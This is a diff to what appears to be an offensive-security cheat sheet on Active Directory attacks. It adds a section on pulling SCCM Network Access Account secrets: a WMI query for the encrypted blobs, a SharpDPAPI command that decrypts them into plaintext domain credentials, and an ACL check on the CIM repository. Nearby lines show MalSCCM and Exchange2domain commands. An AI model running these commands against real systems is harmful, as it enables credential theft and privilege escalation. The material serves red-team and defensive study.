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SCCM Network Account

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Methodology and Resources/Active Directory Attack.md
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@ -113,6 +113,7 @@
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049) - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
- [PrivExchange attack](#privexchange-attack) - [PrivExchange attack](#privexchange-attack)
- [SCCM Deployment](#sccm-deployment) - [SCCM Deployment](#sccm-deployment)
- [SCCM Network Access Accounts](#sccm-network-access-accounts)
- [WSUS Deployment](#wsus-deployment) - [WSUS Deployment](#wsus-deployment)
- [RODC - Read Only Domain Controller Compromise](#rodc---read-only-domain-controller-compromise) - [RODC - Read Only Domain Controller Compromise](#rodc---read-only-domain-controller-compromise)
- [PXE Boot image attack](#pxe-boot-image-attack) - [PXE Boot image attack](#pxe-boot-image-attack)
@ -3521,7 +3522,7 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
``` ```
* Compromise management server, use locate to find primary server * Compromise management server, use locate to find primary server
* use Inspect on primary server to view who you can target * Use `inspect` on primary server to view who you can target
```ps1 ```ps1
MalSCCM.exe inspect /all MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers MalSCCM.exe inspect /computers
@ -3560,6 +3561,28 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th
MalSCCM.exe group /delete /groupname:TargetGroup MalSCCM.exe group /delete /groupname:TargetGroup
``` ```
### SCCM Network Access Accounts
> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
* Find SCCM blob
```ps1
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
```
* Using [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) for SCCM retrieval and decryption
```ps1
.\SharpDPAPI.exe SCCM
```
* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
```ps1
Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
ConvertFrom-SddlString ""
```
### WSUS Deployment ### WSUS Deployment
> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network > Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
@ -3929,3 +3952,5 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/) * [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
* [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html) * [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html)
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials) * [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
* [Network Access Accounts are evil… - ROGER ZANDER - 13 SEP 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/)
* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)